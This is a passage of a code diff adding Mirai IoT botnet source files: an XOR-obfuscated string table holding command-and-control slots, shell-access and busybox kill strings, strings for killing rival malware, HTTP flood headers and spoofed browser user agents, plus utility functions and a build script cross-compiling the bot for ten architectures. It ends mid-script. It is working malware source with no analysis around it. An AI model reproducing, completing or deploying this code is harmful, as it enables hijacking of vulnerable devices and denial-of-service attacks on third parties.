|     add_entry(TABLE_SCAN_SHELL, "\x51\x4A\x47\x4E\x4E\x22", 6); | ||||
|     add_entry(TABLE_SCAN_ENABLE, "\x47\x4C\x43\x40\x4E\x47\x22", 7); | ||||
|     add_entry(TABLE_SCAN_SYSTEM, "\x51\x5B\x51\x56\x47\x4F\x22", 7); | ||||
|     add_entry(TABLE_SCAN_SH, "\x51\x4A\x22", 3); | ||||
|     add_entry(TABLE_SCAN_QUERY, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x6F\x6B\x70\x63\x6B\x22", 19); | ||||
|     add_entry(TABLE_SCAN_RESP, "\x6F\x6B\x70\x63\x6B\x18\x02\x43\x52\x52\x4E\x47\x56\x02\x4C\x4D\x56\x02\x44\x4D\x57\x4C\x46\x22", 24); | ||||
|     add_entry(TABLE_SCAN_NCORRECT, "\x4C\x41\x4D\x50\x50\x47\x41\x56\x22", 9); | ||||
|     add_entry(TABLE_SCAN_PS, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x52\x51\x22", 16); | ||||
|     add_entry(TABLE_SCAN_KILL_9, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x49\x4B\x4E\x4E\x02\x0F\x1B\x02\x22", 22); | ||||
|  | ||||
|     add_entry(TABLE_ATK_VSE, "\x76\x71\x4D\x57\x50\x41\x47\x02\x67\x4C\x45\x4B\x4C\x47\x02\x73\x57\x47\x50\x5B\x22", 21); | ||||
|     add_entry(TABLE_ATK_RESOLVER, "\x0D\x47\x56\x41\x0D\x50\x47\x51\x4D\x4E\x54\x0C\x41\x4D\x4C\x44\x22", 17); | ||||
|     add_entry(TABLE_ATK_NSERV, "\x4C\x43\x4F\x47\x51\x47\x50\x54\x47\x50\x02\x22", 12); | ||||
|  | ||||
|     add_entry(TABLE_ATK_KEEP_ALIVE, "\x61\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x02\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 23); | ||||
|     add_entry(TABLE_ATK_ACCEPT, "\x63\x41\x41\x47\x52\x56\x18\x02\x56\x47\x5A\x56\x0D\x4A\x56\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4A\x56\x4F\x4E\x09\x5A\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4F\x4E\x19\x53\x1F\x12\x0C\x1B\x0E\x4B\x4F\x43\x45\x47\x0D\x55\x47\x40\x52\x0E\x08\x0D\x08\x19\x53\x1F\x12\x0C\x1A\x22", 83); | ||||
|     add_entry(TABLE_ATK_ACCEPT_LNG, "\x63\x41\x41\x47\x52\x56\x0F\x6E\x43\x4C\x45\x57\x43\x45\x47\x18\x02\x47\x4C\x0F\x77\x71\x0E\x47\x4C\x19\x53\x1F\x12\x0C\x1A\x22", 32); | ||||
|     add_entry(TABLE_ATK_CONTENT_TYPE, "\x61\x4D\x4C\x56\x47\x4C\x56\x0F\x76\x5B\x52\x47\x18\x02\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x0F\x55\x55\x55\x0F\x44\x4D\x50\x4F\x0F\x57\x50\x4E\x47\x4C\x41\x4D\x46\x47\x46\x22", 48); | ||||
|     add_entry(TABLE_ATK_SET_COOKIE, "\x51\x47\x56\x61\x4D\x4D\x49\x4B\x47\x0A\x05\x22", 12); | ||||
|     add_entry(TABLE_ATK_REFRESH_HDR, "\x50\x47\x44\x50\x47\x51\x4A\x18\x22", 9); | ||||
|     add_entry(TABLE_ATK_LOCATION_HDR, "\x4E\x4D\x41\x43\x56\x4B\x4D\x4C\x18\x22", 10); | ||||
|     add_entry(TABLE_ATK_SET_COOKIE_HDR, "\x51\x47\x56\x0F\x41\x4D\x4D\x49\x4B\x47\x18\x22", 12); | ||||
|     add_entry(TABLE_ATK_CONTENT_LENGTH_HDR, "\x41\x4D\x4C\x56\x47\x4C\x56\x0F\x4E\x47\x4C\x45\x56\x4A\x18\x22", 16); | ||||
|     add_entry(TABLE_ATK_TRANSFER_ENCODING_HDR, "\x56\x50\x43\x4C\x51\x44\x47\x50\x0F\x47\x4C\x41\x4D\x46\x4B\x4C\x45\x18\x22", 19); | ||||
|     add_entry(TABLE_ATK_CHUNKED, "\x41\x4A\x57\x4C\x49\x47\x46\x22", 8); | ||||
|     add_entry(TABLE_ATK_KEEP_ALIVE_HDR, "\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 11); | ||||
|     add_entry(TABLE_ATK_CONNECTION_HDR, "\x41\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x22", 12); | ||||
|     add_entry(TABLE_ATK_DOSARREST, "\x51\x47\x50\x54\x47\x50\x18\x02\x46\x4D\x51\x43\x50\x50\x47\x51\x56\x22", 18); | ||||
|     add_entry(TABLE_ATK_CLOUDFLARE_NGINX, "\x51\x47\x50\x54\x47\x50\x18\x02\x41\x4E\x4D\x57\x46\x44\x4E\x43\x50\x47\x0F\x4C\x45\x4B\x4C\x5A\x22", 25); | ||||
|  | ||||
|     add_entry(TABLE_HTTP_ONE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111); | ||||
|     add_entry(TABLE_HTTP_TWO, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111); | ||||
|     add_entry(TABLE_HTTP_THREE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110); | ||||
|     add_entry(TABLE_HTTP_FOUR, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110); | ||||
|     add_entry(TABLE_HTTP_FIVE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x6F\x43\x41\x4B\x4C\x56\x4D\x51\x4A\x19\x02\x6B\x4C\x56\x47\x4E\x02\x6F\x43\x41\x02\x6D\x71\x02\x7A\x02\x13\x12\x7D\x13\x13\x7D\x14\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x14\x12\x13\x0C\x15\x0C\x15\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x74\x47\x50\x51\x4B\x4D\x4C\x0D\x1B\x0C\x13\x0C\x10\x02\x71\x43\x44\x43\x50\x4B\x0D\x14\x12\x13\x0C\x15\x0C\x15\x22", 117); | ||||
| } | ||||
|  | ||||
| void table_unlock_val(uint8_t id) | ||||
| { | ||||
|     struct table_value *val = &table[id]; | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     if (!val->locked) | ||||
|     { | ||||
|         printf("[table] Tried to double-unlock value %d\n", id); | ||||
|         return; | ||||
|     } | ||||
| #endif | ||||
|  | ||||
|     toggle_obf(id); | ||||
| } | ||||
|  | ||||
| void table_lock_val(uint8_t id) | ||||
| { | ||||
|     struct table_value *val = &table[id]; | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     if (val->locked) | ||||
|     { | ||||
|         printf("[table] Tried to double-lock value\n"); | ||||
|         return; | ||||
|     } | ||||
| #endif | ||||
|  | ||||
|     toggle_obf(id); | ||||
| } | ||||
|  | ||||
| char *table_retrieve_val(int id, int *len) | ||||
| { | ||||
|     struct table_value *val = &table[id]; | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     if (val->locked) | ||||
|     { | ||||
|         printf("[table] Tried to access table.%d but it is locked\n", id); | ||||
|         return NULL; | ||||
|     } | ||||
| #endif | ||||
|  | ||||
|     if (len != NULL) | ||||
|         *len = (int)val->val_len; | ||||
|     return val->val; | ||||
| } | ||||
|  | ||||
| static void add_entry(uint8_t id, char *buf, int buf_len) | ||||
| { | ||||
|     char *cpy = malloc(buf_len); | ||||
|  | ||||
|     util_memcpy(cpy, buf, buf_len); | ||||
|  | ||||
|     table[id].val = cpy; | ||||
|     table[id].val_len = (uint16_t)buf_len; | ||||
| #ifdef DEBUG | ||||
|     table[id].locked = TRUE; | ||||
| #endif | ||||
| } | ||||
|  | ||||
| static void toggle_obf(uint8_t id) | ||||
| { | ||||
|     int i; | ||||
|     struct table_value *val = &table[id]; | ||||
|     uint8_t k1 = table_key & 0xff, | ||||
|             k2 = (table_key >> 8) & 0xff, | ||||
|             k3 = (table_key >> 16) & 0xff, | ||||
|             k4 = (table_key >> 24) & 0xff; | ||||
|  | ||||
|     for (i = 0; i < val->val_len; i++) | ||||
|     { | ||||
|         val->val[i] ^= k1; | ||||
|         val->val[i] ^= k2; | ||||
|         val->val[i] ^= k3; | ||||
|         val->val[i] ^= k4; | ||||
|     } | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     val->locked = !val->locked; | ||||
| #endif | ||||
| } | ||||
							
								
								
									
										84
									
								
								mirai/bot/table.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										84
									
								
								mirai/bot/table.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,84 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include <stdint.h> | ||||
| #include "includes.h" | ||||
|  | ||||
| struct table_value { | ||||
|     char *val; | ||||
|     uint16_t val_len; | ||||
| #ifdef DEBUG | ||||
|     BOOL locked; | ||||
| #endif | ||||
| }; | ||||
|  | ||||
| /* Generic bot info */ | ||||
| #define TABLE_PROCESS_ARGV              1 | ||||
| #define TABLE_EXEC_SUCCESS              2 | ||||
| #define TABLE_CNC_DOMAIN                3 | ||||
| #define TABLE_CNC_PORT                  4 | ||||
|            | ||||
| /* Killer data */           | ||||
| #define TABLE_KILLER_SAFE               5 | ||||
| #define TABLE_KILLER_PROC               6 | ||||
| #define TABLE_KILLER_EXE                7 | ||||
| #define TABLE_KILLER_DELETED            8   /* " (deleted)" */ | ||||
| #define TABLE_KILLER_FD                 9   /* "/fd" */ | ||||
| #define TABLE_KILLER_ANIME              10  /* .anime */ | ||||
| #define TABLE_KILLER_STATUS             11 | ||||
| #define TABLE_MEM_QBOT                  12 | ||||
| #define TABLE_MEM_QBOT2                 13 | ||||
| #define TABLE_MEM_QBOT3                 14 | ||||
| #define TABLE_MEM_UPX                   15 | ||||
| #define TABLE_MEM_ZOLLARD               16 | ||||
| #define TABLE_MEM_REMAITEN              17 | ||||
|            | ||||
| /* Scanner data */           | ||||
| #define TABLE_SCAN_CB_DOMAIN            18  /* domain to connect to */ | ||||
| #define TABLE_SCAN_CB_PORT              19  /* Port to connect to */ | ||||
| #define TABLE_SCAN_SHELL                20  /* 'shell' to enable shell access */ | ||||
| #define TABLE_SCAN_ENABLE               21  /* 'enable' to enable shell access */ | ||||
| #define TABLE_SCAN_SYSTEM               22  /* 'system' to enable shell access */ | ||||
| #define TABLE_SCAN_SH                   23  /* 'sh' to enable shell access */ | ||||
| #define TABLE_SCAN_QUERY                24  /* echo hex string to verify login */ | ||||
| #define TABLE_SCAN_RESP                 25  /* utf8 version of query string */ | ||||
| #define TABLE_SCAN_NCORRECT             26  /* 'ncorrect' to fast-check for invalid password */ | ||||
| #define TABLE_SCAN_PS                   27  /* "/bin/busybox ps" */ | ||||
| #define TABLE_SCAN_KILL_9               28  /* "/bin/busybox kill -9 " */ | ||||
|            | ||||
| /* Attack strings */           | ||||
| #define TABLE_ATK_VSE                   29  /* TSource Engine Query */ | ||||
| #define TABLE_ATK_RESOLVER              30  /* /etc/resolv.conf */ | ||||
| #define TABLE_ATK_NSERV                 31  /* "nameserver " */ | ||||
|  | ||||
| #define TABLE_ATK_KEEP_ALIVE            32  /* "Connection: keep-alive" */ | ||||
| #define TABLE_ATK_ACCEPT                33  // "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" // */ | ||||
| #define TABLE_ATK_ACCEPT_LNG            34  // "Accept-Language: en-US,en;q=0.8" | ||||
| #define TABLE_ATK_CONTENT_TYPE          35  // "Content-Type: application/x-www-form-urlencoded" | ||||
| #define TABLE_ATK_SET_COOKIE            36  // "setCookie('" | ||||
| #define TABLE_ATK_REFRESH_HDR           37  // "refresh:" | ||||
| #define TABLE_ATK_LOCATION_HDR          38  // "location:" | ||||
| #define TABLE_ATK_SET_COOKIE_HDR        39  // "set-cookie:" | ||||
| #define TABLE_ATK_CONTENT_LENGTH_HDR    40  // "content-length:" | ||||
| #define TABLE_ATK_TRANSFER_ENCODING_HDR 41  // "transfer-encoding:" | ||||
| #define TABLE_ATK_CHUNKED               42  // "chunked" | ||||
| #define TABLE_ATK_KEEP_ALIVE_HDR        43  // "keep-alive" | ||||
| #define TABLE_ATK_CONNECTION_HDR        44  // "connection:" | ||||
| #define TABLE_ATK_DOSARREST             45  // "server: dosarrest" | ||||
| #define TABLE_ATK_CLOUDFLARE_NGINX      46  // "server: cloudflare-nginx" | ||||
|  | ||||
| /* User agent strings */ | ||||
| #define TABLE_HTTP_ONE                  47  /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */ | ||||
| #define TABLE_HTTP_TWO                  48  /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */ | ||||
| #define TABLE_HTTP_THREE                49  /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */ | ||||
| #define TABLE_HTTP_FOUR                 50  /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */ | ||||
| #define TABLE_HTTP_FIVE                 51  /* "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" */ | ||||
|  | ||||
| #define TABLE_MAX_KEYS  52 /* Highest value + 1 */ | ||||
|  | ||||
| void table_init(void); | ||||
| void table_unlock_val(uint8_t); | ||||
| void table_lock_val(uint8_t);  | ||||
| char *table_retrieve_val(int, int *); | ||||
|  | ||||
| static void add_entry(uint8_t, char *, int); | ||||
| static void toggle_obf(uint8_t); | ||||
							
								
								
									
										291
									
								
								mirai/bot/util.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										291
									
								
								mirai/bot/util.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,291 @@ | ||||
| #define _GNU_SOURCE | ||||
|  | ||||
| #ifdef DEBUG | ||||
| #include <stdio.h> | ||||
| #endif | ||||
| #include <stdlib.h> | ||||
| #include <arpa/inet.h> | ||||
| #include <unistd.h> | ||||
| #include <errno.h> | ||||
| #include <limits.h> | ||||
| #include <dirent.h> | ||||
| #include <sys/types.h> | ||||
| #include <sys/stat.h> | ||||
| #include <fcntl.h> | ||||
| #include <signal.h> | ||||
|  | ||||
| #include "includes.h" | ||||
| #include "util.h" | ||||
| #include "table.h" | ||||
|  | ||||
| int util_strlen(char *str) | ||||
| { | ||||
|     int c = 0; | ||||
|  | ||||
|     while (*str++ != 0) | ||||
|         c++; | ||||
|     return c; | ||||
| } | ||||
|  | ||||
|  | ||||
| BOOL util_strncmp(char *str1, char *str2, int len) | ||||
| { | ||||
|     int l1 = util_strlen(str1), l2 = util_strlen(str2); | ||||
|  | ||||
|     if (l1 < len || l2 < len) | ||||
|         return FALSE; | ||||
|  | ||||
|     while (len--) | ||||
|     { | ||||
|         if (*str1++ != *str2++) | ||||
|             return FALSE; | ||||
|     } | ||||
|  | ||||
|     return TRUE; | ||||
| } | ||||
|  | ||||
| BOOL util_strcmp(char *str1, char *str2) | ||||
| { | ||||
|     int l1 = util_strlen(str1), l2 = util_strlen(str2); | ||||
|  | ||||
|     if (l1 != l2) | ||||
|         return FALSE; | ||||
|  | ||||
|     while (l1--) | ||||
|     { | ||||
|         if (*str1++ != *str2++) | ||||
|             return FALSE; | ||||
|     } | ||||
|  | ||||
|     return TRUE; | ||||
| } | ||||
|  | ||||
| int util_strcpy(char *dst, char *src) | ||||
| { | ||||
|     int l = util_strlen(src); | ||||
|  | ||||
|     util_memcpy(dst, src, l + 1); | ||||
|  | ||||
|     return l; | ||||
| } | ||||
|  | ||||
| void util_memcpy(void *dst, void *src, int len) | ||||
| { | ||||
|     char *r_dst = (char *)dst; | ||||
|     char *r_src = (char *)src; | ||||
|     while (len--) | ||||
|         *r_dst++ = *r_src++; | ||||
| } | ||||
|  | ||||
| void util_zero(void *buf, int len) | ||||
| { | ||||
|     char *zero = buf; | ||||
|     while (len--) | ||||
|         *zero++ = 0; | ||||
| } | ||||
|  | ||||
| int util_atoi(char *str, int base) | ||||
| { | ||||
| 	unsigned long acc = 0; | ||||
| 	int c; | ||||
| 	unsigned long cutoff; | ||||
| 	int neg = 0, any, cutlim; | ||||
|  | ||||
| 	do { | ||||
| 		c = *str++; | ||||
| 	} while (util_isspace(c)); | ||||
| 	if (c == '-') { | ||||
| 		neg = 1; | ||||
| 		c = *str++; | ||||
| 	} else if (c == '+') | ||||
| 		c = *str++; | ||||
|  | ||||
| 	cutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX; | ||||
| 	cutlim = cutoff % (unsigned long)base; | ||||
| 	cutoff /= (unsigned long)base; | ||||
| 	for (acc = 0, any = 0;; c = *str++) { | ||||
| 		if (util_isdigit(c)) | ||||
| 			c -= '0'; | ||||
| 		else if (util_isalpha(c)) | ||||
| 			c -= util_isupper(c) ? 'A' - 10 : 'a' - 10; | ||||
| 		else | ||||
| 			break; | ||||
|              | ||||
| 		if (c >= base) | ||||
| 			break; | ||||
|  | ||||
| 		if (any < 0 || acc > cutoff || acc == cutoff && c > cutlim) | ||||
| 			any = -1; | ||||
| 		else { | ||||
| 			any = 1; | ||||
| 			acc *= base; | ||||
| 			acc += c; | ||||
| 		} | ||||
| 	} | ||||
| 	if (any < 0) { | ||||
| 		acc = neg ? LONG_MIN : LONG_MAX; | ||||
| 	} else if (neg) | ||||
| 		acc = -acc; | ||||
| 	return (acc); | ||||
| } | ||||
|  | ||||
| char *util_itoa(int value, int radix, char *string) | ||||
| { | ||||
|     if (string == NULL) | ||||
|         return NULL; | ||||
|  | ||||
|     if (value != 0) | ||||
|     { | ||||
|         char scratch[34]; | ||||
|         int neg; | ||||
|         int offset; | ||||
|         int c; | ||||
|         unsigned int accum; | ||||
|  | ||||
|         offset = 32; | ||||
|         scratch[33] = 0; | ||||
|  | ||||
|         if (radix == 10 && value < 0) | ||||
|         { | ||||
|             neg = 1; | ||||
|             accum = -value; | ||||
|         } | ||||
|         else | ||||
|         { | ||||
|             neg = 0; | ||||
|             accum = (unsigned int)value; | ||||
|         } | ||||
|  | ||||
|         while (accum) | ||||
|         { | ||||
|             c = accum % radix; | ||||
|             if (c < 10) | ||||
|                 c += '0'; | ||||
|             else | ||||
|                 c += 'A' - 10; | ||||
|  | ||||
|             scratch[offset] = c; | ||||
|             accum /= radix; | ||||
|             offset--; | ||||
|         } | ||||
|          | ||||
|         if (neg) | ||||
|             scratch[offset] = '-'; | ||||
|         else | ||||
|             offset++; | ||||
|  | ||||
|         util_strcpy(string, &scratch[offset]); | ||||
|     } | ||||
|     else | ||||
|     { | ||||
|         string[0] = '0'; | ||||
|         string[1] = 0; | ||||
|     } | ||||
|  | ||||
|     return string; | ||||
| } | ||||
|  | ||||
| int util_memsearch(char *buf, int buf_len, char *mem, int mem_len) | ||||
| { | ||||
|     int i, matched = 0; | ||||
|  | ||||
|     if (mem_len > buf_len) | ||||
|         return -1; | ||||
|  | ||||
|     for (i = 0; i < buf_len; i++) | ||||
|     { | ||||
|         if (buf[i] == mem[matched]) | ||||
|         { | ||||
|             if (++matched == mem_len) | ||||
|                 return i + 1; | ||||
|         } | ||||
|         else | ||||
|             matched = 0; | ||||
|     } | ||||
|  | ||||
|     return -1; | ||||
| } | ||||
|  | ||||
| int util_stristr(char *haystack, int haystack_len, char *str) | ||||
| { | ||||
|     char *ptr = haystack; | ||||
|     int str_len = util_strlen(str); | ||||
|     int match_count = 0; | ||||
|  | ||||
|     while (haystack_len-- > 0) | ||||
|     { | ||||
|         char a = *ptr++; | ||||
|         char b = str[match_count]; | ||||
|         a = a >= 'A' && a <= 'Z' ? a | 0x60 : a; | ||||
|         b = b >= 'A' && b <= 'Z' ? b | 0x60 : b; | ||||
|  | ||||
|         if (a == b) | ||||
|         { | ||||
|             if (++match_count == str_len) | ||||
|                 return (ptr - haystack); | ||||
|         } | ||||
|         else | ||||
|             match_count = 0; | ||||
|     } | ||||
|  | ||||
|     return -1; | ||||
| } | ||||
|  | ||||
| ipv4_t util_local_addr(void) | ||||
| { | ||||
|     int fd; | ||||
|     struct sockaddr_in addr; | ||||
|     socklen_t addr_len = sizeof (addr); | ||||
|  | ||||
|     errno = 0; | ||||
|     if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[util] Failed to call socket(), errno = %d\n", errno); | ||||
| #endif | ||||
|         return 0; | ||||
|     } | ||||
|  | ||||
|     addr.sin_family = AF_INET; | ||||
|     addr.sin_addr.s_addr = INET_ADDR(8,8,8,8); | ||||
|     addr.sin_port = htons(53); | ||||
|  | ||||
|     connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); | ||||
|  | ||||
|     getsockname(fd, (struct sockaddr *)&addr, &addr_len); | ||||
|     close(fd); | ||||
|     return addr.sin_addr.s_addr; | ||||
| } | ||||
|  | ||||
| char *util_fdgets(char *buffer, int buffer_size, int fd) | ||||
| { | ||||
|     int got = 0, total = 0; | ||||
|     do  | ||||
|     { | ||||
|         got = read(fd, buffer + total, 1); | ||||
|         total = got == 1 ? total + 1 : total; | ||||
|     } | ||||
|     while (got == 1 && total < buffer_size && *(buffer + (total - 1)) != '\n'); | ||||
|  | ||||
|     return total == 0 ? NULL : buffer; | ||||
| } | ||||
|  | ||||
| static inline int util_isupper(char c) | ||||
| { | ||||
|     return (c >= 'A' && c <= 'Z'); | ||||
| } | ||||
|  | ||||
| static inline int util_isalpha(char c) | ||||
| { | ||||
|     return ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z')); | ||||
| } | ||||
|  | ||||
| static inline int util_isspace(char c) | ||||
| { | ||||
|     return (c == ' ' || c == '\t' || c == '\n' || c == '\12'); | ||||
| } | ||||
|  | ||||
| static inline int util_isdigit(char c) | ||||
| { | ||||
|     return (c >= '0' && c <= '9'); | ||||
| } | ||||
							
								
								
									
										22
									
								
								mirai/bot/util.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										22
									
								
								mirai/bot/util.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,22 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include "includes.h" | ||||
|  | ||||
| int util_strlen(char *); | ||||
| BOOL util_strncmp(char *, char *, int); | ||||
| BOOL util_strcmp(char *, char *); | ||||
| int util_strcpy(char *, char *); | ||||
| void util_memcpy(void *, void *, int); | ||||
| void util_zero(void *, int); | ||||
| int util_atoi(char *, int); | ||||
| char *util_itoa(int, int, char *); | ||||
| int util_memsearch(char *, int, char *, int); | ||||
| int util_stristr(char *, int, char *); | ||||
| ipv4_t util_local_addr(void); | ||||
| char *util_fdgets(char *, int, int); | ||||
|  | ||||
| static inline int util_isupper(char); | ||||
| static inline int util_isalpha(char); | ||||
| static inline int util_isspace(char); | ||||
| static inline int util_isdigit(char); | ||||
|  | ||||
							
								
								
									
										63
									
								
								mirai/build.sh
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										63
									
								
								mirai/build.sh
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,63 @@ | ||||
| #!/bin/bash | ||||
|  | ||||
| FLAGS="" | ||||
|  | ||||
| function compile_bot { | ||||
|     "$1-gcc" -std=c99 $3 bot/*.c -O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,--gc-sections -o release/"$2" -DMIRAI_BOT_ARCH=\""$1"\" | ||||
|     "$1-strip" release/"$2" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr | ||||
| } | ||||
|  | ||||
| if [ $# == 2 ]; then | ||||
|     if [ "$2" == "telnet" ]; then | ||||
|         FLAGS="-DMIRAI_TELNET" | ||||
|     elif [ "$2" == "ssh" ]; then | ||||
|         FLAGS="-DMIRAI_SSH" | ||||
|     fi | ||||
| else | ||||
|     echo "Missing build type."  | ||||
|     echo "Usage: $0 <debug | release> <telnet | ssh>" | ||||
| fi | ||||
|  | ||||
| if [ $# == 0 ]; then | ||||
|     echo "Usage: $0 <debug | release> <telnet | ssh>" | ||||
| elif [ "$1" == "release" ]; then | ||||
|     rm release/mirai.* | ||||
|     rm release/miraint.* | ||||
|     go build -o release/cnc cnc/*.go | ||||
|     compile_bot i586 mirai.x86 "$FLAGS -DKILLER_REBIND_SSH -static" | ||||
|     compile_bot mips mirai.mips "$FLAGS -DKILLER_REBIND_SSH -static" | ||||
|     compile_bot mipsel mirai.mpsl "$FLAGS -DKILLER_REBIND_SSH -static" | ||||
|     compile_bot armv4l mirai.arm "$FLAGS -DKILLER_REBIND_SSH -static" | ||||
|     compile_bot armv5l mirai.arm5n "$FLAGS -DKILLER_REBIND_SSH" | ||||
|     compile_bot armv6l mirai.arm7 "$FLAGS -DKILLER_REBIND_SSH -static" | ||||
|     compile_bot powerpc mirai.ppc "$FLAGS -DKILLER_REBIND_SSH -static" | ||||
|     compile_bot sparc mirai.spc "$FLAGS -DKILLER_REBIND_SSH -static" | ||||
|     compile_bot m68k mirai.m68k "$FLAGS -DKILLER_REBIND_SSH -static" | ||||
|     compile_bot sh4 mirai.sh4 "$FLAGS -DKILLER_REBIND_SSH -static" | ||||
|  | ||||
|     compile_bot i586 miraint.x86 "-static" | ||||
|     compile_bot mips miraint.mips "-static" | ||||
|     compile_bot mipsel miraint.mpsl "-static" | ||||
|     compile_bot armv4l miraint.arm "-static" | ||||
|     compile_bot armv5l miraint.arm5n " " | ||||
|     compile_bot armv6l miraint.arm7 "-static" | ||||
|     compile_bot powerpc miraint.ppc "-static" | ||||
|     compile_bot sparc miraint.spc "-static" | ||||
|     compile_bot m68k miraint.m68k "-static" | ||||
|     compile_bot sh4 miraint.sh4 "-static" | ||||
|  | ||||
|     go build -o release/scanListen tools/scanListen.go | ||||
| elif [ "$1" == "debug" ]; then | ||||
|     gcc -std=c99 bot/*.c -DDEBUG "$FLAGS" -static -g -o debug/mirai.dbg | ||||
|     mips-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.mips | ||||
